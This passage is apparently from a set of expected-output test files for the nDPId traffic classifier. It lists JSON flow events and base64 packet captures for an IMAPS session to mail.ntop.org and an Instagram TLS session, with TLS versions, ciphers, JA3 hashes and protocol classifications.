Vx7rmV3xXlLdq7rxhOhpp06IcAAABcYravGgAAAQDAEYwRAIgKJAra50qE9ZRajJGZJtaLa2vL0zAGBVVjPY70d8Ha3QCIHG0LDxu6WDr2JWC9li869OxCrPF3+mBD070st0tE8lvAHcAb1N2rDHwMRnYmQCkURX\/dxUcEdkCwQApBo2yCJo32RMAAAFxitq8lwAABAMASDBGAiEA+vsQKD+JhtYrYAS\/DsL9gcpSemHlv4dTHjZ0vICbPgYCIQCu00aklsZvhDs0dEn+EjgyZVBXPJdrT5Cu3w8t+KdGujANBgkqhkiG9w0BAQsFAAOCAQEAk+HnVq+HN0aXxhEuh2KVnrK8YlZe+tvB2Y9StG\/pBEBzhj7v+RMKWkSMg3cOh7jnPUs3ZpqELE\/VCxRywJs+PiJW5t7rAomi+YrOlo1mGQnC6FHJWHUBQITwfslnIKBv6ViBgXDOI3mtpiIaHgXvbnq1\/5LOaFkSRSwEtoI9yBhY0R38xuIAu0RoX190By3WR+pDLjMzigTIYB3KFKBPrkiFRxd5tWwlzAUESwrfV4kKg\/spL8ZZw\/zcHEXtlmvjWutlGkPptzcY5LmPWbqKHJNf\/JEA"} +00807{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":6,"source":"imaps.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":6,"flow_first_seen":1590857744659,"flow_last_seen":1590857744765,"flow_tot_l4_data_len":1879,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":313,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.8","dst_ip":"167.99.215.164","src_port":50506,"dst_port":993,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.ntop","breed":"Safe","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mail.ntop.org","ja3":"4923a265be4d81c68ecda45bb89cdf6a","ja3s":"b653c251b0ee54c3088fe7bb997cf59d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384"}} +02368{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"imaps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1590857744,"pkt_ts_usec":765232,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUNr1AADQGya6nY9ekwKgBCAPhxUrMi6h70TTQsYAQAfxLpAAAAQEICqnD6CcUTZ1kQdb9Z1odgUZGbXdGPKebjp6ANy70rjJDv+twKf8h91YZEzB7kzEDv3vjvAAEljCCBJIwggN6oAMCAQICEAoBQUIAAAFThXNqC4XspwgwDQYJKoZIhvcNAQELBQAwPzEkMCIGA1UEChMbRGlnaXRhbCBTaWduYXR1cmUgVHJ1c3QgQ28uMRcwFQYDVQQDEw5EU1QgUm9vdCBDQSBYMzAeFw0xNjAzMTcxNjQwNDZaFw0yMTAzMTcxNjQwNDZaMEoxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MSMwIQYDVQQDExpMZXQncyBFbmNyeXB0IEF1dGhvcml0eSBYMzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJzTDPBa5S5Ht3JdN4OzaGMw6tc1Jhkl4b2+NfFwki+3uEtBBaupnjUIWOyxKsRohwuj43Xk5vOnYnG6eYFgH9eRmp\/z0HhncchpDpWRz\/7mmelgPEjMfspNdxIknUcbWuu57B43ABycrHunBerOSuu9QeU2mLnL\/W08lmjfIypCkAyGdGfIf6WauFJhFBM\/ZemCh8vb+g5W9oaJ84U\/l4avsNwa72sNlRZ9xCugZbKZBDZ1gGusSvMbkEl4L6KWTyogJSkExnTA0DHNjzE4lRa6qDO4Q\/GxH8Mwf6J5MRM9LTb44\/zyM2q5OTHFr8SNDR1kFjOq+oQpttQLwNh9w5MCAwEAAaOCAX0wggF5MBIGA1UdEwEB\/wQIMAYBAf8CAQAwDgYDVR0PAQH\/BAQDAgGGMH8GCCsGAQUFBwEBBHMwcTAyBggrBgEFBQcwAYYmaHR0cDovL2lzcmcudHJ1c3RpZC5vY3NwLmlkZW50cnVzdC5jb20wOwYIKwYBBQUHMAKGL2h0dHA6Ly9hcHBzLmlkZW50cnVzdC5jb20vcm9vdHMvZHN0cm9vdGNheDMucDdjMB8GA1UdIwQYMBaAFMSnsaR7LHH62+FLkHX\/xBVghYkQMFQGA1UdIARNMEswCAYGZ4EMAQIBMD8GCysGAQQBgt8TAQEBMDAwLgYIKwYBBQUHAgEWImh0dHA6Ly9jcHMucm9vdC14MS5sZXRzZW5jcnlwdC5vcmcwPAYDVR0fBDUwMzAxoC+gLYYraHR0cDovL2NybC5pZGVudHJ1c3QuY29tL0RTVFJPT1RDQVgzQ1JMLmNybDAdBgNVHQ4EFgQUqEpqYwR93brm0Tm3pkVl7\/Oo7KEwDQYJKoZIhvcNAQELBQADggEBAN0z1xHzY1g43RgV+wlVvnZWuXBIpWlHJ3vCJAiS8VofShIpNyR0URxiaLjNlXBn5fekvE4oUc2b6K6HnerYulqhAZrc8N1qHWrYPlcjnqYeBGKa\/9cFyrcfP8AKSLyUsLZlYuDBVOWjKq0gxOnmu9zI9rXDMqOYzHeo5nllByvLKP46FlKBzlIMLl+D6NUGM\/t3bM5A6jKeH5JcQcF0bFtdCl8zzE2frDjwL3ssYp3Zo5FvJRsvkLEZRj32fhumeoe5o3ptGPolpZGHFeDyFi9YsAYvLGgmxkuYzdqfDPl\/kO1DShJETm9zeijqpKpue0x9h93gyQJEp4evwzRbtEIWAwMBbQwAAWkDABhhBJ26sNdAoJ73tApfTsPTSM9t4CD0Z502p4q5uL0eKpaWvGSd6MeyxK18UH1UbYeKLXsSs5d9peITkkqK8GqNuDuMq2+HdDC\/jF\/wgYZewkROEfS9K7KN0WyY0l3z+dwNZAQBAQBNWuezEYv5\/20pU3h8W7ev\/oKdof8VkehBzqueU2OYLY8cfDzkD\/yXj4\/j\/oZwPZ3fztHigP9viL2XH954iVqcc4jEp\/RC6wUkGLov8yOsBacOaF1ipc3pABwK1DhmR9+4k1vEbD04jFbh"} +01010{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":7,"source":"imaps.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":7,"flow_first_seen":1590857744659,"flow_last_seen":1590857744765,"flow_tot_l4_data_len":3351,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":478,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.8","dst_ip":"167.99.215.164","src_port":50506,"dst_port":993,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.ntop","breed":"Safe","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mail.ntop.org","server_names":"mail.ntop.org","ja3":"4923a265be4d81c68ecda45bb89cdf6a","ja3s":"b653c251b0ee54c3088fe7bb997cf59d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384","issuerDN":"C=US, O=Let's Encrypt, CN=Let's Encrypt Authority X3","issuerDN":"CN=mail.ntop.org","fingerprint":"F1:9A:35:30:96:57:5E:56:81:28:2C:D9:45:A5:83:21:9E:E8:C5:DF"}} +00637{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"imaps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1590857744,"pkt_ts_usec":765234,"pkt_caplen":225,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":225,"pkt_l4_len":191,"pkt":"KDc3AG3IEBMx8Tl2CABFAADTNr5AADQGzq6nY9ekwKgBCAPhxUrMi64b0TTQsYAYAfzSbwAAAQEICqnD6CcUTZ1kAPSFCvb8OYHeJTvCvkpUKEbmM+UGhIJhREjvK899r8eOFMYAx\/++EEmK3kxoLRjkxC0on9rLVxnLicHl6SST3oXXiRnYJk3Rvb1VHjVM43LMFs64hyxL15y1H0fSiLC8y0u5d0f9ylbwOfKcMRoXGM96Zl7NBK5iPS0H2WqW1xXHdzk9\/iuf3Euv+nK4b0gYBXMzVK82FgMDAAQOAAAA"} +00420{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"imaps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1590857744,"pkt_ts_usec":765298,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG+gvAqAEIp2PXpMVKA+HRNNCxzIuuG4AQD9L8rQAAAQEIChRNnZKpw+gn"} +00422{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"imaps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1590857744,"pkt_ts_usec":765301,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG+gvAqAEIp2PXpMVKA+HRNNCxzIuuuoAQD838EwAAAQEIChRNnZKpw+gn"} +00570{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"imaps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1590857744,"pkt_ts_usec":790415,"pkt_caplen":173,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":173,"pkt_l4_len":139,"pkt":"EBMx8Tl2KDc3AG3ICABFAACfAABAAEAG+aDAqAEIp2PXpMVKA+HRNNCxzIuuuoAYEAAd7AAAAQEIChRNnampw+gnFgMDAGYQAABiYQQMa2OgWxKGD1OH2cJlSC4P8d1hecZqTf2a+Xy9mKQfgX0Vh1RWPWG+UGeuZKj0nvmAYi+21GC9jKcUf6TsKtrKQ21yY\/8TA7d0DMC+G52kpZwswjFMFNPsUXW7gEhx+EY="} +00422{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"imaps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1590857744,"pkt_ts_usec":868117,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0Nr9AADQGz0ynY9ekwKgBCAPhxUrMi6660TTRHIAQAfwI+gAAAQEICqnD6JAUTZ2p"} +00492{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"imaps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1590857744,"pkt_ts_usec":868194,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"EBMx8Tl2KDc3AG3ICABFAABnAABAAEAG+djAqAEIp2PXpMVKA+HRNNEczIuuuoAYEAA7XwAAAQEIChRNneqpw+iQFAMDAAEBFgMDACglJ8Mzvl1tB2IhOqlbKgTgBKc91pKNDFqA2GYulIqLvB4p2N7Frl1n"} +00422{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"imaps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1590857744,"pkt_ts_usec":905615,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0NsBAADQGz0unY9ekwKgBCAPhxUrMi6660TTRT4AQAfwIYQAAAQEICqnD6LUUTZ3q"} +00493{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"imaps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1590857744,"pkt_ts_usec":905735,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"KDc3AG3IEBMx8Tl2CABFAABnNsFAADQGzxenY9ekwKgBCAPhxUrMi6660TTRT4AYAfxr8wAAAQEICqnD6LUUTZ3qFAMDAAEBFgMDAChAqpq8t2fITIfMhvOf8DvJz3jdHhYAkNco57ZHSCpyv0i\/fAHB+HFs"} diff --git a/test/results/instagram.pcap.out b/test/results/instagram.pcap.out new file mode 100644 index 000000000..eb5698e48 --- /dev/null +++ b/test/results/instagram.pcap.out @@ -0,0 +1,494 @@ +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"instagram.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1436720898354,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"173.252.107.4","src_port":56382,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720898,"pkt_ts_usec":354402,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABsv8H60QPMIw47hCABFAAA8TypAAEAGEYLAqABnrfxrBNw+AbsehKWiAAAAAKACOQjaPgAAAgQFtAQCCAoAA+qIAAAAAAEDAwY="} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2,"source":"instagram.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1436720898386,"flow_last_seen":0,"flow_tot_l4_data_len":1397,"flow_min_l4_data_len":1397,"flow_max_l4_data_len":1397,"flow_avg_l4_data_len":1397,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"31.13.93.52","src_port":33936,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +02274{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720898,"pkt_ts_usec":386781,"pkt_caplen":1431,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1431,"pkt_l4_len":1397,"pkt":"ABsv8H60QPMIw47hCABFAAWJa5BAAEAGjI7AqABnHw1dNISQAbuIwY4ypNSTmIAYARMTGgAAAQEICgAD6otaUmp7FwMBBVB9SXVyqGN\/Z0IQOrRWeDqy2ESAojaAx4QQZK8Nvn9P2WG4BrAo87sybB9iQ6L07zu3SJx\/yEENym+6oXOIueLurovz4xM5H+e2VkXRxNwq2D0zbcPaARfl1kqZ5lxozT2KxP5upnv5ZlZknUeHJ9iJUeI933878+9Wa2p3jAkSn4v+PhMZ8tdKr\/DbC4Dao9UoiB0NXUAr3Yz5mLZxqwvhp7T5JBYmrpug0k+c+c5jewd+5zMMLlTOh9zrkFpN\/SPdxljY89SWMG4iWok6qAWd81044WQFB8MMk6d1YEgnl4MTRR4s5nra0RAZ\/18nINKDy\/+7OtbIdykHRTDGdkzNglojGhlbMwXwCoSaU7eaC\/UG3QHuANJheRiTxBbb9LObDO61gFXBkdpo\/nFCQJ5DEAR9LRi5VbgUevhOk8v2CnW3NfU8tU\/NhXT2Fwav0PyuAxlku4R0TFjGrX0lMbSi5TfJsyWyqS9JUaHL9+9Lo2MolHMixycuQJ8OBJfxMjbh4vndGe6E5xjywRDhon5Ivpm51kbX7pr85erPPQ5esyd11\/S2GN1nyosTrQfKPFTMJ2PKe2m7QTQt+uAz\/lbUTHbMP5WXngggI0bC1v64BOTbVZvk5uSBRBJTxfNNwpu5Mu42yT2kpORmWxKLjzXxHI3WY0zq00CLVkZ1W4ZdSNXs14xkPKnh8GETvWNyrC0OkJAC\/senhsF4RXOoqIV\/fvDhI7Lz\/aB3VqgZGkZTiT2tG0nkNbTl36TNhCL0NMIpdEkg3CtkeHnRpYXxlFUaqjl0oiNlqmXrT3txeOlkpgLeE8sil6hQeUXLUDxeB\/KJ3hVWQV57tvquoi3TQ0mdlDPh3nKxwFekfGvexzie5JWVEiecROjBicDHlMGZSqgfGOOL9obBhKFQKyGkKwqvDD0GLpn+uVlqpq4HgYehGmZsXkGfKjhOvgYnCN46aHecrF2yix3uKy9HcGVhEh0jdkP6ZVKeYPjfh1VormnzwC798pJrA6FXeukKkQhENaxtIfjtfZqrhxgkGn44Wi6ohn6pe\/FHHmbNcPgV6V8fsqp75GNTcdW4payqjcXiRcbHyE8T1\/Qx4baiJDp6KLsZS4gAneRh+ALhxukKM03jbRUClXAh8oRiLl0u+SOlflfwh8goOCkzbht0yzBBd5s+YE\/rKLvLODamT6vRSajD988ioyLCTi6O7PjCpIz0x86CPfl59RFLMWfW1DDNxLLiQpG5QmdGA\/0xKZPtgucNxJfMg8zisuAsBotSOZNTt7iyYW\/IMjbjZfUDk2XnW0FMevjvN1dNSzxncEScDgEwhOZR\/bPFjnmrDfWVV5x9BRHI5MP8wUwSlhypizc+qxTGIgicImjYGkhAIz+xcFmXadM0YNZEvMZaj9aBOHMX1Oble6EYxmSHOrpQKqfzbWeMlvwrQYuci0kLy\/\/bshVduwlDBy5JYqDunQnZyDGNhNVfyaH+ng8KQ6sBqINnITFXfAnCkwXV\/HK1iUkb7QzoqBn3gpftCp83hNH0foudA8Gdf6kurlWwgMEOXi5BfTqlD4DwASXt9A68u1P9Zz8s0alrX2UlusB6fvL9Q9Js6MLwiQyj+bjdEcQ3Uplwrw6qLdouhHzsdgkMnVdwc2l5wv8KPOcXqmQvqjndZFz1nXaAVhwsFoo1zwY3LiNiYjhwWSYaeCHLdPVBHtAjW1OZFou+zyYe9X36AFhBBqrW+04QrWGvIhn1jD27wWhOa1bAC4ScjrpH0lKPe5njeedOXaKkZFE++EHilCzyFRBq6mDF3sb10u4yUIsQcfD4LLSh"} +00424{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720898,"pkt_ts_usec":475679,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"QPMIw47hABsv8H60CABFAAA05iNAAFUGAlAfDV00wKgAZwG7hJCk1JOYiMGTh4AQAE5t9QAAAQEIClpSq0YAA+qL"} +00437{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720898,"pkt_ts_usec":499269,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"QPMIw47hABsv8H60CABFAAA8AABAAFIGTqyt\/GsEwKgAZwG73D5XFMWUHoSlo6ASOJBK1AAAAgQFlgQCCAq8TYT0AAPqiAEDAwg="} +00424{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720898,"pkt_ts_usec":499483,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABsv8H60QPMIw47hCABFAAA0TytAAEAGEYnAqABnrfxrBNw+AbsehKWjVxTFlYAQAOXaNgAAAQEICgAD6pe8TYT0"} +01052{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720898,"pkt_ts_usec":501130,"pkt_caplen":530,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":530,"pkt_l4_len":496,"pkt":"ABsv8H60QPMIw47hCABFAAIETyxAAEAGD7jAqABnrfxrBNw+AbsehKWjVxTFlYAYAOUQ3QAAAQEICgAD6pe8TYT0FgMBAcsBAAHHAwFVop8CNJ6Qudiud2vb4pMs1Ustmw2JKPU\/VGUbAAAfqCAvcExfwJCbXHILQOxXqreX44nTobQUpbpO1CIvwxwdmABGAAQABQAvADXAAsAEwAXADMAOwA\/AB8AJwArAEcATwBQAMwA5ADIAOAAKwAPADcAIwBIAFgATAAkAFQASAAMACAAUABEA\/wEAATgAAAAgAB4AABt0ZWxlZ3JhcGgtYXNoLmluc3RhZ3JhbS5jb20ACwAEAwABAgAKADQAMgAOAA0AGQALAAwAGAAJAAoAFgAXAAgABgAHABQAFQAEAAUAEgATAAEAAgADAA8AEAARACMA0ESu3Am+FRFWL6GFZ5cqeqMrKeBDNApsKnRfHnB5aZ0M+PnsUszH1NK1OcamWdgk3loMTjkeuY8vQf2EKeUIJw0J8WDG8kiJQeedkexy97ZHld7N8L4SURKmoEJD\/aT59gmDPLTPklzVSlv38lUivPzyDaJ4xWo0Y51eIH5hGdTyPxvePHdwmlZHT25nawNC\/q4GMjx1H6cysD5DjhLucBMKfR+thQ8RsDmqWIcBbaeRKiGNOGevr+YgzwaPf99rNe8LLrWBk293Kmn5cEdDLBg="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":6,"source":"instagram.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":4,"flow_first_seen":1436720898354,"flow_last_seen":1436720898501,"flow_tot_l4_data_len":608,"flow_min_l4_data_len":32,"flow_max_l4_data_len":496,"flow_avg_l4_data_len":152,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"173.252.107.4","src_port":56382,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Instagram","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1","client_requested_server_name":"telegraph-ash.instagram.com","ja3":"54ae5fcb0159e2ddf6a50e149221c7c7","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +01257{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720898,"pkt_ts_usec":551576,"pkt_caplen":679,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":679,"pkt_l4_len":645,"pkt":"QPMIw47hABsv8H60CABFAAKZ5iRAAFUG\/+kfDV00wKgAZwG7hJCk1JOYiMGTh4AYAE6DfwAAAQEIClpSq5UAA+qLFwMBAmB3TNLiDxMdaG\/77FJR8O6B7ETM5PL1YEwRicjM0iP0UHaAjwUM69tZJRboKPSJSylQ1372woiRMUoGT0dkqivXwS77nykGpDpQxH2zG\/qLmXj10Apbm9mNJzojbuGkVAQeXciVaLovJfxV8pe4ApuOMtqX+wzNa0ZzIxrRfdGy1r+REoc96\/duttzeccU7r8F+0sSj4kAMBptpjPxHIWmQ8bvcQmsOZTBbtWqbInBydwnOzZKHuUG4UpWsNoKQLrxSa1ETAsjugoyEe5PPT8+cb8Irh4mKsNfbStX5KDjpe9Dme8aKUCL1ceYHHjALeMY9l4fx2o0KIF6TukGkzvqR8cZ+qcyDG5U\/HYh5lxYTcHS7lDXS1PzV6XOR41h1cZ9L+KxXE6JczRHCSiNT1VF7boI4Qizj5lEdfdajhSQHOEg16UAhsZHpgK1G5Iki1ek6rdWyUqwchJMZYUThaRdJpKv9RM0OW9cAtKW4cZKenq0TEdOPDEBRCwskRboA6Gi3YnhJ3qdvDGkTLGo9t+FpkGczAZZn4gKC4xoEybQb10OFqFb4BP0BHlc1dmzqbYjWeEKW2wJjaNEaqdUvlusDaKzJPAfd\/FC3qcdqBy6RoP1rw6AWfXgFirXb5SF1IsZGaICO7Vi\/A05NBIj2TN+sAkrMTvlnJxzijI3OS4z\/O7pdS0yJ1AhdM2CbNqiTSP1\/fSWG2i895LYIERx7TAiABxyhh9ufac6WLn1D9wJV86snpuHfJEPWipx7pSJs20IjfVBIUe\/onrcoOjL6GotP95FotxVNOdpbLqczmpv1mQ=="} +00425{"flow_id":2,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720898,"pkt_ts_usec":551759,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABsv8H60QPMIw47hCABFAAA0a5FAAEAGkeLAqABnHw1dNISQAbuIwZOHpNSV\/YAQATA9dwAAAQEICgAD6pxaUquV"} +00425{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720898,"pkt_ts_usec":646547,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"QPMIw47hABsv8H60CABFAAA0QOlAAFIGDcut\/GsEwKgAZwG73D5XFMWVHoSnc4AQAD2vaQAAAQEICrxNhYIAA+qX"} +00629{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720898,"pkt_ts_usec":646669,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"QPMIw47hABsv8H60CABFAADFQOpAAFIGDTmt\/GsEwKgAZwG73D5XFMWVHoSnc4AYAD2yzgAAAQEICrxNhYIAA+qXFgMBAFECAABNAwFHLmXJR9\/q2J6Pslnr9f62ZQAg36o7keVHgwUNpsaSASAvcExfwJCbXHILQOxXqreX44nTobQUpbpO1CIvwxwdmMATAAAF\/wEAAQAUAwEAAQEWAwEAMPTbPcZwJ6zr\/OQt29Uiiihx7RTlLMyZgMzrIXSjRTqWbLg4j\/BoDhkVd2Y7f8IgKg=="} +00824{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":10,"source":"instagram.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":6,"flow_first_seen":1436720898354,"flow_last_seen":1436720898646,"flow_tot_l4_data_len":817,"flow_min_l4_data_len":32,"flow_max_l4_data_len":496,"flow_avg_l4_data_len":136,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"173.252.107.4","src_port":56382,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Instagram","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1","client_requested_server_name":"telegraph-ash.instagram.com","ja3":"54ae5fcb0159e2ddf6a50e149221c7c7","ja3s":"acb741bcdffb787c5a52654c78645bdf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA"}} +00425{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720898,"pkt_ts_usec":646760,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABsv8H60QPMIw47hCABFAAA0Ty1AAEAGEYfAqABnrfxrBNw+AbsehKdzVxTGJoAQAPXaNgAAAQEICgAD6qW8TYWC"} +00508{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720898,"pkt_ts_usec":648195,"pkt_caplen":125,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":125,"pkt_l4_len":91,"pkt":"ABsv8H60QPMIw47hCABFAABvTy5AAEAGEUvAqABnrfxrBNw+AbsehKdzVxTGJoAYAPXQFgAAAQEICgAD6qW8TYWCFAMBAAEBFgMBADA6BSvr\/cw4t8bShR5c7IU4xFAIHF9VHAsMRl6WfI2i0nHFHmxUuXsf++F7l3akxsM="} 